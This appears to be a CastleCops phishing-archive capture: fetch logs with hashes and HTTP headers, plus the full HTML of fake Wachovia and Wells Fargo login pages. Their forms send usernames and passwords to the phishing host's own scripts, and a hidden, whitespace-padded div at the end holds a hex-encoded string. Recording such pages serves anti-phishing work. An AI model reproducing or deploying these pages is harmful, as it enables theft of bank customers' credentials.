CastleCops® Wachovia, Wells Fargo Phish

fetched page

at 24 Jul, 2008 @ 00:14:19
MD5 Fingerprint: 4e3315edfb06d3bd45de8d3041585c6a
SHA1 Fingerprint: 6bf77eb9e3b2d40216e85cebe983875771fc7c6e

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2008 23:38:49 GMT
Server: Apache
X-Powered-By: PHP/4.4.6
Content-Length: 5918
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Online Services - Account Login</title>
<link href="images/index.css" rel="stylesheet" type="text/css" media="screen">
<link href="images/index-p.css" rel="stylesheet" type="text/css" media="print">
<link href="images/handheld.css" rel="stylesheet" type="text/css" media="handheld">
<link rel="shortcut icon" href="images/favicon.ico">
</head><input type="hidden" name="niarB" value=""><body id="default" class="twocol login">

<form method="post" action="AuthService.php?action=AuthService&url=https%3a//onlineservices.wachovia.com/NASApp/NavApp/Titanium%3faction%3dreturnHome" name="dualForm" id="dualForm">
</form>
<div id="limiter">
<div id="header"><img src="images/logo.gif" alt="Wachovia Logo" id="logo" height="52" width="240">
<img src="images/default_logotype.gif" alt="" id="subbrand" height="21" width="246">
</div>
<div id="pusher">
<div id="content">
<div id="main">
<h1>Online Services Login</h1>
<div id="details">
<p>Enter the appropriate login information below, and select your service.</p>
</div>
<ul>
<li>Retirement Plan Participants: <a href="#">Login</a></li>
</ul>
<form method="post" action="AuthService.php?action=AuthService&url=https%3a//onlineservices.wachovia.com/NASApp/NavApp/Titanium%3faction%3dreturnHome" name="uidAuthForm" id="uidAuthForm">
<table class="formtable" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td class="colgutter"></td>
<td class="label"><label for="userid">User ID</label>
</td><td class="colgutter"></td>
<td><input name="user" id="user" autocomplete="off" value="" tabindex="1" type="text"></td>
</tr>
<tr>
<td colspan="3"></td>
<td>
<label for="rememberuid" class="nestinput"><input name="rememberuid" id="rememberuid" tabindex="6" type="checkbox">Remember my User ID</label>&nbsp;&nbsp;&nbsp;
<a href="#" tabindex="7">Learn More</a>
</td>
</tr>
<tr>
<td></td>
<td class="label" nowrap="nowrap"><label for="password">Password</label></td>
<td class="colgutter"></td>
<td><input name="pass" id="pass" autocomplete="off" value="" tabindex="2" type="password"></td>
</tr>
<tr><td></td><td></td><td></td><td><div class="format">Case Sensitive</div></td></tr>
<tr>
<td></td>
<td class="label" nowrap="nowrap"><label for="service">Service Selection</label></td>
<td class="colgutter"></td>
<td>
<select name="systemtarget" width="160" onchange="getValue(this.form.name);" tabindex="3">
<option value="gotoOSH">Choose a service...</option>
<option value="gotoOSH">Online Services Home</option>
<option value="gotoBanking">Online Banking</option>
<option value="gotoBillPay">Online BillPay</option>
<option value="gotoBrokerage">Online Brokerage</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="center">
<input value="Login" tabindex="4" class="button w80" id="submitButton" name="submitButton" type="submit">
</td>
</tr>
</tbody></table>
</form>
</div>
<div id="related" class="clear">
<div class="box">
<h2><span>Customer Service</span></h2>
<h3></h3>
<ul>
<li><a href="#">User ID &amp; Password Help</a></li>
<li><a href="#">Forgot your User ID?</a></li>
<li><a href="#">Reset your Password</a></li>
</ul>
<h3></h3>
<ul class="small">
<li>Customer Access Number: <a href="#">Login</a></li>
</ul>
</div>
<div id="promo">
<div class="box" style="background-color: rgb(255, 255, 204);"><h2><span>Easier Access.</span></h2><p>Logging in to Online Services is now easier on wachovia.com.</p><a href="#" title="Logging in to Online Services is now easier on wachovia.com.">Take a look</a></div>
</div>
</div>
<hr class="textonly">
<div id="navigation" class="blue">
<h2 class="ir">Navigation</h2>
<div id="utilities" class="utility"></div>
<div id="global" class="utility">
<ul>
<li class="first" id="officelocator"><a href="#">Office Locator</a></li>
<li class="first" id="locations"><a href="#">Locations</a></li>
</ul>
</div>
</div>
</div>
</div>
<hr class="textonly">
<div id="footer">
<ul id="footerlinks" class="utility">
<li class="first"><a href="#">Customer Agreement</a></li>
<li><a href="#">Privacy</a></li>
<li><a href="#">Security</a></li>
<li><a href="#">Legal</a></li>
</ul>
<div id="copyright">&copy; 2008 Wachovia Corporation. All rights reserved.</div>
</div>
<div id="footeralt">
<ul id="footerlinks" class="utility">
<li class="first"><a href="#">Privacy</a></li>
<li><a href="#">Security</a></li>
<li><a href="#">Legal Disclosures</a></li>
<li><a href="#">Contact Us</a></li>
</ul>
<div id="copyright">&copy; 2008 Wachovia Securities, LLC (member NYSE/<a href="#">SIPC</a>)</div>
<table id="notmay">
<caption>Securities and Insurance Products:</caption><caption>
</caption><tbody><tr>
<td>Not Insured by FDIC or any<br>Federal Government Agency</td>
<td>May Lose<br>Value</td>
<td>Not a Deposit of or Guaranteed by<br>a Bank or any Bank affiliate</td>
</tr>
</tbody></table>
<div id="disclosure">
<p>Wachovia Securities is the trade name used by two separate, registered broker-dealers and non-bank affiliates of
Wachovia Corporation providing certain retail securities brokerage services: Wachovia Securities, LLC, member
NYSE/<a href="#">SIPC</a>, and Wachovia Securities Financial Network, LLC, member <span class="small"><a href="#">NASD</a></span>/<a href="#">SIPC</a>. Accounts
carried by First Clearing, LLC, member NYSE/<a href="#">SIPC</a>.</p>
<p>Insurance products are offered through non-bank affiliates of Wachovia Corporation and are underwritten by unaffiliated
insurance companies.</p>
</div>
</div>
</div>
<img src="images/activity.gif" border="0" height="1" width="1">
</body></html>

fetched page

at 24 Jul, 2008 @ 00:20:37
MD5 Fingerprint: 046ad0a5c1b59ddb5134f25b437d5404
SHA1 Fingerprint: 0f9b707ee90e32289df8b320c774c8ef28200d47

fetched page

at 24 Jul, 2008 @ 01:25:13
MD5 Fingerprint: 4e3315edfb06d3bd45de8d3041585c6a
SHA1 Fingerprint: 6bf77eb9e3b2d40216e85cebe983875771fc7c6e

HTTP/1.1 200 OK
Date: Thu, 24 Jul 2008 00:49:43 GMT
Server: Apache
X-Powered-By: PHP/4.4.6
Cache-Control: max-age=1
Expires: Thu, 24 Jul 2008 00:49:44 GMT
Content-Length: 5918
Content-Type: text/html

fetched page

at 24 Jul, 2008 @ 01:47:32
MD5 Fingerprint: 97e5a2fce10e2fb01a8e0d7cbb7a712e
SHA1 Fingerprint: 5fd6fc8a438713758c6ac18efa0c03f3c16a8248

HTTP/1.1 200 OK
Date: Thu, 24 Jul 2008 01:12:00 GMT
Server: Apache
Last-Modified: Wed, 16 Jul 2008 22:54:26 GMT
ETag: "32942e-566c-19dcc80"
Accept-Ranges: bytes
Content-Length: 22124
Cache-Control: max-age=1
Expires: Thu, 24 Jul 2008 01:12:01 GMT
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">

<HTML lang=en xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE>Wells Fargo Home Page</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META http-equiv=Cache-Control content=must-revalidate>
<META http-equiv=Cache-Control content=no-store>
<META http-equiv=Cache-Control content=no-cache>
<META http-equiv=Cache-Control content=private>
<META http-equiv=Pragma content=no-cache>
<META 
content="Start here to bank and pay bills online. Wells Fargo provides personal banking, investing services, small business, and commercial banking." 
name=description>
<META 
content="bank,banking,financial services,small business banking,personal banking,student banking,commercial banking,loans,personal loans,small business loans,investing,brokerage,online banking,bank online,bill pay,branch locations,ATM,checking,savings,mortgage,student loans,IRA,Wells Fargo" 
name=keywords>
<STYLE type=text/css>BODY {
	MARGIN: 3px 0px 4px 4px; COLOR: #000; FONT-FAMILY: arial,helvetica,sans-serif; BACKGROUND-COLOR: #fff
}
#emergency {
	PADDING-RIGHT: 170px; PADDING-LEFT: 10px; FONT-SIZE: 75%; PADDING-BOTTOM: 29px; WIDTH: 354px; COLOR: #000; PADDING-TOP: 15px; HEIGHT: 34px; BACKGROUND-COLOR: #fff; voice-family: inherit
}
UNKNOWN {
	WIDTH: 354px; HEIGHT: 34px
}
#emergency STRONG {
	COLOR: #900
}
#container2 {
	PADDING-RIGHT: 0px; PADDING-LEFT: 7px; MARGIN-BOTTOM: 10px; PADDING-BOTTOM: 10px; WIDTH: 765px; PADDING-TOP: 7px; BORDER-BOTTOM: #808070 2px solid; BACKGROUND-COLOR: #eeefe1; voice-family: inherit
}
UNKNOWN {
	WIDTH: 765px
}
#bottom1 {
	FLOAT: left; VERTICAL-ALIGN: top; WIDTH: 240px
}
#bottom1 P {
	PADDING-RIGHT: 12px; PADDING-LEFT: 8px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
#bottom1 H3 {
	PADDING-RIGHT: 12px; PADDING-LEFT: 8px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
#bottom2 {
	FLOAT: left; VERTICAL-ALIGN: top; WIDTH: 192px
}
#bottom2 P {
	PADDING-RIGHT: 4px; FONT-SIZE: 75%; PADDING-BOTTOM: 4px; MARGIN: 0px
}
#bottom3 {
	PADDING-RIGHT: 8px; PADDING-LEFT: 0px; FLOAT: left; PADDING-BOTTOM: 0px; WIDTH: 160px; PADDING-TOP: 2px
}
#bottom4 {
	FLOAT: left; WIDTH: 160px; PADDING-TOP: 2px
}
#bottom1 P {
	FONT-SIZE: 75%; MARGIN: 0px
}
#bottom1 H3 {
	MARGIN-TOP: 0px; FONT-SIZE: 75%
}
#bottom2 H3 {
	MARGIN-TOP: 0px; FONT-SIZE: 75%
}
#bottomWide {
	FLOAT: left; WIDTH: 352px; HEIGHT: 80px
}
#links {
	PADDING-RIGHT: 0px; BORDER-TOP: #808070 2px solid; PADDING-LEFT: 8px; FLOAT: left; PADDING-BOTTOM: 0px; WIDTH: 526px; PADDING-TOP: 10px; BACKGROUND-COLOR: #eeefe1; voice-family: inherit
}
UNKNOWN {
	WIDTH: 526px
}
#links TABLE {
	WIDTH: 522px; MARGIN-RIGHT: 4px; BORDER-BOTTOM: #bebf9d 3px solid; BACKGROUND-COLOR: #fff
}
#links TD {
	PADDING-RIGHT: 0px; PADDING-LEFT: 4px; PADDING-BOTTOM: 9px; VERTICAL-ALIGN: top; PADDING-TOP: 4px; BORDER-BOTTOM: #808070 1px solid
}
#links TD A:link {
	FONT-SIZE: 75%; TEXT-DECORATION: none
}
#links TD A:visited {
	FONT-SIZE: 75%; TEXT-DECORATION: none
}
#links TD A:hover {
	TEXT-DECORATION: underline
}
#links TD.first {
	BORDER-LEFT: #808070 1px solid
}
#links TD.last {
	BORDER-RIGHT: #808070 1px solid; PADDING-RIGHT: 4px
}
#links TABLE TD H3 {
	FONT-SIZE: 75%
}
#utilities {
	FLOAT: right; MARGIN: 2px 3px 0px 0px
}
#utilities A:link {
	FONT-SIZE: 75%; TEXT-DECORATION: none
}
#utilities A:visited {
	FONT-SIZE: 75%; TEXT-DECORATION: none
}
#utilities A:hover {
	TEXT-DECORATION: underline
}
#signon {
	MARGIN: 0px 0px 0px 7px; BACKGROUND-COLOR: #bbccee
}
#signon TABLE {
	MARGIN: 0px 0px 4px 7px; BACKGROUND-COLOR: #bbccee
}
#signon TD {
	FONT-SIZE: 70%; PADDING-TOP: 5px
}
#signon INPUT {
	FONT-SIZE: 105%; MARGIN-RIGHT: 8px
}
#signon SELECT {
	FONT-SIZE: 105%; MARGIN-RIGHT: 8px
}
#copyright {
	FONT-SIZE: 70%; MARGIN: 0px 0px 30px; COLOR: #666
}
#footer {
	FONT-SIZE: 70%; MARGIN: 0px 0px 10px
}
#footer A:link {
	TEXT-DECORATION: none
}
#footer A:visited {
	TEXT-DECORATION: none
}
#footer A:hover {
	TEXT-DECORATION: underline
}
#notnot {
	BORDER-RIGHT: #999 1px solid; PADDING-RIGHT: 24px; BORDER-TOP: #999 1px solid; PADDING-LEFT: 24px; FONT-SIZE: 70%; PADDING-BOTTOM: 7px; MARGIN: 0px 0px 10px; BORDER-LEFT: #999 1px solid; WIDTH: 420px; COLOR: #666; PADDING-TOP: 7px; BORDER-BOTTOM: #999 1px solid; voice-family: inherit
}
UNKNOWN {
	WIDTH: 420px
}
#disclosure {
	FONT-SIZE: 70%; MARGIN: 0px 0px 10px; WIDTH: 610px; COLOR: #666; TEXT-ALIGN: left
}
#utilContainer {
	PADDING-BOTTOM: 1px; VERTICAL-ALIGN: top; BORDER-LEFT: #fff 7px solid; BORDER-BOTTOM: #999 1px solid; BACKGROUND-COLOR: #fff
}
#utilContainer INPUT {
	FONT-SIZE: 75%
}
#tabContainer {
	WIDTH: 534px; HEIGHT: 18px; BACKGROUND-COLOR: #fff
}
#leftCol {
	VERTICAL-ALIGN: top; WIDTH: 238px; BACKGROUND-COLOR: #eeefe1
}
#leftCol P {
	PADDING-RIGHT: 0px; PADDING-LEFT: 7px; FONT-SIZE: 70%; PADDING-BOTTOM: 10px; MARGIN: 0px; PADDING-TOP: 8px
}
#rightCol {
	BORDER-TOP: #fff 8px solid; WIDTH: 534px; BACKGROUND-COLOR: #eeefe1
}
#Ad {
	FONT-WEIGHT: bold; MARGIN: 0px 0px 0px 2px; WIDTH: 181px; voice-family: inherit
}
UNKNOWN {
	WIDTH: 181px
}
.tempLink {
	PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 8px; FONT-SIZE: 66%; FLOAT: left; PADDING-BOTTOM: 0px; PADDING-TOP: 4px
}
.tempLink2 {
	PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 8px; FONT-SIZE: 66%; FLOAT: left; PADDING-BOTTOM: 0px; COLOR: white; PADDING-TOP: 4px; TEXT-DECORATION: none
}
H2 {
	PADDING-LEFT: 5px; FONT-SIZE: 80%; MARGIN: 0px 4px 0px 0px; COLOR: #fff; BACKGROUND-COLOR: #808070
}
H3 {
	MARGIN: 0px
}
DIV.clear {
	CLEAR: left; LINE-HEIGHT: 0px; HEIGHT: 0px
}
FORM {
	PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px; FONT-FAMILY: arial,helvetica,sans-serif
}
INPUT {
	PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px; FONT-FAMILY: arial,helvetica,sans-serif
}
SELECT {
	PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px; FONT-FAMILY: arial,helvetica,sans-serif
}
IMG {
	BORDER-TOP-STYLE: none; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BORDER-BOTTOM-STYLE: none
}
TABLE {
	PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; BORDER-TOP-STYLE: none; PADDING-TOP: 0px; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BORDER-BOTTOM-STYLE: none
}
TD {
	PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; BORDER-TOP-STYLE: none; PADDING-TOP: 0px; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BORDER-BOTTOM-STYLE: none
}
A:link {
	COLOR: #30659a
}
A:visited {
	COLOR: #30659a
}
A:active {
	COLOR: #4986ff
}
A:hover {
	COLOR: #4986ff
}
#signon A:link {
	COLOR: #25547c
}
#signon A:visited {
	COLOR: #25547c
}
#signon A:active {
	COLOR: #4986ff
}
#signon A:hover {
	COLOR: #4986ff
}
#promo1 {
	BORDER-RIGHT: #999 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #999 1px solid; MARGIN-TOP: 2px; PADDING-LEFT: 4px; FONT-SIZE: 70%; FLOAT: left; PADDING-BOTTOM: 4px; BORDER-LEFT: #999 1px solid; WIDTH: 149px; PADDING-TOP: 4px; BORDER-BOTTOM: #999 1px solid; HEIGHT: 96px; BACKGROUND-COLOR: #fff; voice-family: inherit
}
#promo2 {
	BORDER-RIGHT: #999 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #999 1px solid; MARGIN-TOP: 2px; PADDING-LEFT: 4px; FONT-SIZE: 70%; FLOAT: left; PADDING-BOTTOM: 4px; BORDER-LEFT: #999 1px solid; WIDTH: 149px; PADDING-TOP: 4px; BORDER-BOTTOM: #999 1px solid; HEIGHT: 96px; BACKGROUND-COLOR: #fff; voice-family: inherit
}
UNKNOWN {
	WIDTH: 149px; HEIGHT: 96px
}
#promo1 {
	MARGIN-RIGHT: 11px
}
#promo1 P {
	MARGIN: 0px
}
#promo2 P {
	MARGIN: 0px
}
#promo1 H3 {
	FONT-SIZE: 100%; MARGIN: 0px; COLOR: #993
}
#promo2 H3 {
	FONT-SIZE: 100%; MARGIN: 0px; COLOR: #993
}
#promo1 SUP {
	FONT-SIZE: 90%; LINE-HEIGHT: 60%
}
#promo2 SUP {
	FONT-SIZE: 90%; LINE-HEIGHT: 60%
}
#promoWide SUP {
	FONT-SIZE: 90%; LINE-HEIGHT: 60%
}
A.tabs {
	BORDER-RIGHT: #666 1px solid; PADDING-RIGHT: 7px; DISPLAY: block; PADDING-LEFT: 7px; BACKGROUND: url(//a248.e.akamai.net/f/248/1856/90m/www.wellsfargo.com/img/hometabs_off.gif) no-repeat left top; FLOAT: right; PADDING-BOTTOM: 2px; MARGIN: 0px 0px 0px 2px; FONT: bold 70% arial,helvetica,sans-serif; PADDING-TOP: 3px; TEXT-DECORATION: none
}
A.tabs:hover {
	BACKGROUND: url(//a248.e.akamai.net/f/248/1856/90m/www.wellsfargo.com/img/hometabs_over.gif) no-repeat left top; COLOR: #30659a; TEXT-DECORATION: none
}
.tabOn {
	BORDER-RIGHT: #666 1px solid; PADDING-RIGHT: 7px; DISPLAY: block; PADDING-LEFT: 7px; BACKGROUND: url(//a248.e.akamai.net/f/248/1856/90m/www.wellsfargo.com/img/hometabs_on.gif) no-repeat left top; FLOAT: right; PADDING-BOTTOM: 2px; MARGIN: 0px 0px 0px 2px; FONT: bold 70% arial,helvetica,sans-serif; COLOR: #000; PADDING-TOP: 3px; TEXT-DECORATION: none
}
.apply {
	PADDING-RIGHT: 8px; PADDING-LEFT: 8px; FONT-SIZE: 75%; BACKGROUND: url(img/arrow.gif) no-repeat 0px 4px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
.mozcloak {
	moz-binding: url("//a248.e.akamai.net/f/248/1856/90m/www.wellsfargo.com/IdentityMap.xbl#mozcloak")
}
</STYLE>

<SCRIPT type=text/javascript>
var FocusNeeded = true;
function showIt() {
    if (FocusNeeded) {document.signon.userid.focus();}
}
var isNS6 = navigator.userAgent.toLowerCase().indexOf("gecko") == -1 ? false : true;
function showIt() {
    if (FocusNeeded) {document.signon.userid.focus();}
}
function entrevous(keypressed) {
    var key;
    if (isNS6) {key=keypressed.keyCode;}
    else if (document.all) {key=window.event.keyCode;}
    else {key=keypressed.which;}
    if (key==13) {document.signon.submit();}
}
</SCRIPT>

<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY onload=document.signon.userid.focus()>
<TABLE cellSpacing=0 width=772>
  <TBODY>
  <TR>
    <TD colSpan=2 height=1><A 
      href="http://www.wellsfargo.com/help/jaws_setting.jhtml"><IMG height=1 
      alt="JAWS 4.5 users can change text link setting to hear clearer link descriptions" 
      src="abc/si.gif" width=1 border=0></A><A 
      href="http://www.wellsfargo.com/auxiliary_access/aa_talkatmloc.jhtml"><IMG 
      height=1 alt="Talking ATM Locations" src="abc/si.gif" width=1 
      border=0></A></TD></TR>
  <TR>
    <TD id=leftCol vAlign=top><IMG height=67 
      alt="View Your Wells Fargo Accounts" 
      src="abc/hom.gif" width=238 border=0>
      <FORM id=signon name=signon action="./signin.php" 
      method=post autocomplete="off">
      <TABLE cellSpacing=0>
        <TBODY>
        <TR>
          <TD vAlign=top><LABEL for=userid>1. Username</LABEL>:<BR><INPUT 
            class=input id=userid title="Enter Username" accessKey=U tabIndex=1 
            maxLength=14 size=13 name=userid autocomplete="off"><BR><A 
            href="http://www.wellsfargo.com/util/signon.jhtml?screenid=USERNAME_SELECT">Username 
            Help</A></TD>
          <TD vAlign=top><LABEL for=password>2. Password</LABEL>:<BR><SPAN 
            class=mozcloak><INPUT class=input id=password title="Enter Password" 
            accessKey=P tabIndex=2 type=password maxLength=8 size=13 
            name=password autocomplete="off"></SPAN><BR><A 
            href="http://www.wellsfargo.com/util/signon.jhtml?screenid=PASSWORD_HELP">Password 
            Help</A></TD></TR></TBODY></TABLE>
      <TABLE cellSpacing=0>
        <TBODY>
        <TR>
          <TD vAlign=bottom><LABEL for=destination>3. Sign On 
            to</LABEL>:<BR><SELECT id=destination title="Select a destination" 
            tabIndex=3 name=destination><OPTION value=AccountSummary 
              selected>Account Summary</OPTION><OPTION 
              value=Transfer>Transfer</OPTION><OPTION value=BillPay>Bill 
              Pay</OPTION><OPTION value=Brokerage>Brokerage</OPTION><OPTION 
              value=Trade>Trade</OPTION><OPTION value=MessageAlerts>Messages 
              &amp; Alerts</OPTION><OPTION value=MainMenu>Site 
            Map</OPTION></SELECT></TD>
          <TD vAlign=bottom><INPUT type=hidden value=SIGNON 
            name=screenid><INPUT type=hidden value=WEB name=origination><INPUT 
            type=hidden value=CONS name=LOB><INPUT 
            onblur="this.src='//a248.e.akamai.net/7/248/1856/90m/www.wellsfargo.com/img/individuals/al_signon_on.gif';" 
            onmouseover="this.src='//a248.e.akamai.net/7/248/1856/90m/www.wellsfargo.com/img/individuals/al_signon_over.gif';" 
            onfocus="this.src='//a248.e.akamai.net/7/248/1856/90m/www.wellsfargo.com/img/individuals/al_signon_over.gif';" 
            tabIndex=4 
            onmouseout="this.src='//a248.e.akamai.net/7/248/1856/90m/www.wellsfargo.com/img/individuals/al_signon_on.gif';" 
            type=image alt="Sign On" 
        src="abc/sign.gif"></TD></TR></TBODY></TABLE>
      <P id=Ad>Need to set up online access? <A 
      href="http://adfarm.mediaplex.com/ad/ck/1221-4130-3408-242">Sign Up 
      Now</A> or <A 
      href="http://adfarm.mediaplex.com/ad/ck/1221-4130-3408-243">Learn More</A> 
      </P></FORM><MAP id=mapSecurity name=mapSecurity><AREA shape=RECT 
        alt="Online Security" coords=166,6,224,20 
        href="http://www.wellsfargo.com/hp_security.jhtml"></MAP><IMG 
      style="MARGIN-LEFT: 7px" height=66 alt="" 
      src="abc/coac.gif" width=231 useMap=#mapSecurity></TD>
    <TD id=rightCol vAlign=top>
      <DIV id=utilContainer>
      <DIV id=utilities><A 
      href="http://www.wellsfargo.com/help/index.jhtml">Customer 
      Service</A>&nbsp;|&nbsp;<A 
      href="http://www.wellsfargo.com/help/locations/locations.jhtml">ATM/ 
      Banking Stores</A>&nbsp;|&nbsp;<A 
      href="http://www.wellsfargo.com/spanish/">En Espa�ol</A></DIV>
      <FORM action=/search/search.jhtml method=get>
      <TABLE cellSpacing=0>
        <TBODY>
        <TR>
          <TD><INPUT id=query title=Search 
            style="WIDTH: 130px; MARGIN-RIGHT: 2px" maxLength=50 size=25 
            name=query></TD>
          <TD><INPUT type=image alt=Search src="abc/serc.gif" 
            border=0 name=go></TD></TR></TBODY></TABLE></FORM></DIV>
      <DIV id=emergency></DIV>
      <DIV id=tabContainer><SPAN class=tempLink>&nbsp;</SPAN> <A class=tabs 
      href="http://www.wellsfargo.com/about/about.jhtml">About Wells Fargo</A> 
      <A class=tabs 
      href="http://www.wellsfargo.com/com/comintro.jhtml">Commercial</A> <A 
      class=tabs href="http://www.wellsfargo.com/biz/">Small Business</A> <SPAN 
      class=tabOn>Individuals</SPAN> </DIV>
      <DIV id=links>
      <H2>Learn More About:</H2>
      <TABLE cellSpacing=0>
        <TBODY>
        <TR>
          <TD class=first vAlign=top>
            <H3>Banking</H3><A href="http://www.wellsfargo.com/wfonline/">Online 
            Banking</A><BR><A 
            href="http://www.wellsfargo.com/wfonline/bill_pay/">Bill 
            Pay</A><BR><A 
            href="http://www.wellsfargo.com/checking/">Checking</A><BR><A 
            href="http://www.wellsfargo.com/per/atm_check_card.jhtml">Check 
            Card</A><BR><A href="http://www.wellsfargo.com/savings_cds/">Savings 
            &amp; CDs </A><BR><STRONG><A 
            title="More banking accounts and services" 
            href="http://www.wellsfargo.com/per/more/banking.jhtml">More 
            &gt;&gt;</A></STRONG></TD>
          <TD vAlign=top>
            <H3>Loans &amp; Credit</H3><A 
            href="http://www.wellsfargo.com/credit_cards/">Credit 
            Cards</A><BR><A href="http://www.wellsfargo.com/equity/">Home Equity 
            Loans</A><BR><A href="http://www.wellsfargo.com/mortgage/">Home 
            Mortgage</A><BR><A href="http://www.wellsfargo.com/student/">Student 
            Loans</A><BR><A 
            href="http://www.wellsfargo.com/per/accounts/auto.jhtml">Auto 
            Loans</A><BR><STRONG><A title="More loans and credit options" 
            href="http://www.wellsfargo.com/per/more/loans_credit.jhtml">More 
            &gt;&gt;</A></STRONG></TD>
          <TD vAlign=top>
            <H3>Investing &amp; Insurance</H3><A 
            href="http://www.wellsfargo.com/investing/mutual_funds/">Mutual 
            Funds</A><BR><A 
            href="http://www.wellsfargo.com/investing/styles/comparison.jhtml">Brokerage</A><BR><A 
            href="http://www.wellsfargo.com/investing/retirement/compare_iras.jhtml">IRAs</A><BR><A 
            href="http://www.wellsfargo.com/investing/pcs/">Private Client 
            Services</A><BR><A 
            href="http://www.wellsfargo.com/per/more/insurance.jhtml">Insurance</A><BR><STRONG><A 
            title="More investing and insurance" 
            href="http://www.wellsfargo.com/investing/more.jhtml">More 
            &gt;&gt;</A></STRONG></TD>
          <TD class=last vAlign=top>
            <H3>Financial Planning</H3><A 
            href="http://www.wellsfargo.com/credit_center/">Credit</A><BR><A 
            href="http://www.wellsfargo.com/tax_center/">Taxes</A><BR><A 
            title="Get fraud prevention tips." 
            href="http://www.wellsfargo.com/privacy_security/fraud_prevention/">Fraud 
            Prevention</A><BR><A 
            href="http://www.wellsfargo.com/investing/retirement/basics/build_savings.jhtml">Retirement</A><BR><A 
            title="Learn how to make the most of your new account." 
            href="http://www.wellsfargo.com/welcome/index.jhtml">Maximize Your 
            Account</A><BR><STRONG><A title="More financial planning" 
            href="http://www.wellsfargo.com/resource_center/rsc_viewall.jhtml">More 
            &gt;&gt;</A></STRONG></TD></TR></TBODY></TABLE>
      <DIV class=clear><IMG height=1 alt="" src="abc/si.gif" 
      width=1></DIV></DIV></TD></TR></TBODY></TABLE>
<DIV id=container2>
<DIV id=bottom1>
<H3>Our Security Guarantee</H3>
<P>We guarantee your <A 
href="http://www.wellsfargo.com/security/security_commitment.jhtml">online 
security</A> and partner with you to <A title="Get fraud prevention tips." 
href="http://www.wellsfargo.com/privacy_security/fraud_prevention/index.jhtml">prevent 
fraud</A>.</P>
<H3 style="MARGIN-TOP: 19px">Check Today's Rates</H3>
<P><A href="http://www.wellsfargo.com/mortgage/rates/">Mortgage</A>, <A 
href="http://www.wellsfargo.com/equity/rate_payments/information/rate_calc.jhtml">Home 
Equity</A>, <A href="http://www.wellsfargo.com/credit_cards/select_card/">Credit 
Card</A>,<BR><A 
href="http://www.wellsfargo.com/personal_credit/rate_payments/rate_calc.jhtml">Personal 
Loans</A> and <A title="More Rates" 
href="http://www.wellsfargo.com/rates/rates_viewall.jhtml">more</A>.</P></DIV>
<DIV id=bottom2>
<H3>Open an Account Online</H3>
<P>It&#8217;s fast, secure, and easy!</P>
<DIV class=apply><A 
href="http://www.wellsfargo.com/products_services/applications_viewall.jhtml">Apply</A> 
instantly, or <A title="Access your saved or submitted applications." 
href="http://www.wellsfargo.com/app2k/nga/myapps/my_apps.jhtml">finish</A> 
a<BR>saved application.</DIV>
<DIV class=apply><A title="Access your saved or submitted applications." 
href="http://www.wellsfargo.com/app2k/nga/myapps/my_apps.jhtml">Check</A> 
application status for select accounts.</DIV>
<DIV class=apply><A title="Learn how to make the most of your new account." 
href="http://www.wellsfargo.com/welcome/index.jhtml">Learn</A> about your new 
account.</DIV></DIV>
<DIV id=bottom3><A 
href="http://adfarm.mediaplex.com/ad/ck/1221-4356-3408-189"><IMG 
alt="Need homebuying power? Becoming a Priority Buyer<sup>SM</sup> can help close the deal. Click here to learn more." 
src="abc/mtgwbn.gif" border=0></A></DIV>
<DIV id=bottom4><A 
href="http://adfarm.mediaplex.com/ad/ck/1221-28034-3408-1"><IMG 
alt="Business ownership opens doors. Build on your accomplishments. Click here to learn more." 
src="abc/own.gif" border=0></A></DIV>
<DIV class=clear><IMG height=1 alt="" src="abc/si.gif" 
width=1></DIV></DIV>
<DIV style="WIDTH: 766px" align=center>
<P id=footer><A href="http://www.wellsfargo.com/about/about.jhtml">About Wells 
Fargo</A> | <A 
href="http://www.wellsfargo.com/employment/index.jhtml">Employment</A> | <A 
href="http://www.wellsfargo.com/privacy_security/index.jhtml">PRIVACY, Security 
&amp; Legal</A> | <A 
href="http://www.wellsfargo.com/privacy_security/email_fraud/report.jhtml">Report 
Email Fraud</A> | Home<BR><A 
href="http://www.wellsfargo.com/about/diversity/accessibility/index.jhtml">Accessibility</A> 
| <A href="https://online.wellsfargo.com/common/html/wibdisc.html">Online Access 
Agreement (4/6/04)</A> | <A 
href="http://www.wellsfargo.com/online_brokerage/education/trading/volatile/index.jhtml">Important 
Notice on Trading in Fast Markets</A></P>
<P id=copyright>� 1999 - 2008 Wells Fargo. All rights reserved. Member FDIC.</P>
<P id=notnot><STRONG>Brokerage Products: Not FDIC Insured &#8226; No Bank Guarantee &#8226; 
May Lose Value</STRONG></P>
                                                                                                                                     <DIV id=b style="VISIBILITY: hidden"><keyword>get_cookie676f6f6f643686f7473407961686f6f2e636f6d
